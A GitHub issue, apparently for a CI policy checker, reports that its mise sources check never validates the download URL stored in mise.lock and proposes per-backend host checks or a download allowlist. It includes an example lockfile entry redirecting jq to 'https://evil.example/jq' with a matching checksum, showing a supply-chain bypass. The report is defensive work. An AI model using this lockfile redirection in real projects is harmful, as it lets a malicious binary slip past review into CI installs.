Skip to content

mise sources: the download URL locked in mise.lock is never checked #668

Description

@Exypte

Is your feature request related to a problem? Please describe.

Follow-up of #254, found in the security review of the sources check (PR 3 of #254, branch feature/254-mise-sources).

The sources check judges where a tool comes from by its backend (aqua:jqlang/jq, core:node, ...) and by the config options and settings that redirect fetching. It never looks at the download URL that mise.lock records for each platform, and that is the URL mise install --locked downloads.

So a pull request can keep an authorized backend in mise.toml and only edit the lockfile:

# mise.toml
[tools]
"aqua:jqlang/jq" = "1.7.1"     # aqua:* is authorized

# mise.lock
[tools."aqua:jqlang/jq"."platforms.linux-x64"]
url = "https://evil.example/jq"
checksum = "sha256:<hash of the evil binary>"

ISSUE-1021, ISSUE-1022 and ISSUE-1023 all pass. The checksum proves nothing here: it comes from the same file as the URL. The lockfile check passes too, since the entry has a URL and a checksum.

Describe the solution you'd like

Judge every locked platform URL (tool.locked.platforms[].url, already in the IR) under the sources check, with a new code in the sources block (next free after ISSUE-1023).

Two ways to decide what is allowed, to settle at implementation:

  • An expected download host per backend: github.com releases of the named repository for github:, the URL template of the aqua registry entry for aqua:, nodejs.org for core:node, and so on. Precise, but it needs a table per backend and drifts with mise.
  • An allowlist of download hosts in the config (for example mise.sources.authorizedDownloads, URL globs). Simple, but users have to list https://github.com/*, https://nodejs.org/* and the rest themselves.

A locked URL that authorizedRegistries already allows (an internal mirror) should pass either way.

Configuration in .plumber.yaml

mise:
  sources:
    enabled: true
    authorizedSources: ["core:*", "aqua:*"]
    authorizedRegistries: []
    # authorizedDownloads: ["https://github.com/*", "https://nodejs.org/*"]   # if the allowlist option is chosen

Why It's Valuable

mise install --locked is the recommended way to install in CI, and the lockfile is the file reviewers read least. Without this, the sources check can be bypassed by a lockfile-only change.

Activity

  1. added theissue type on Dec 1, 2026
  2. added a commit that references this issue on Dec 3, 2026
    cde9442
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions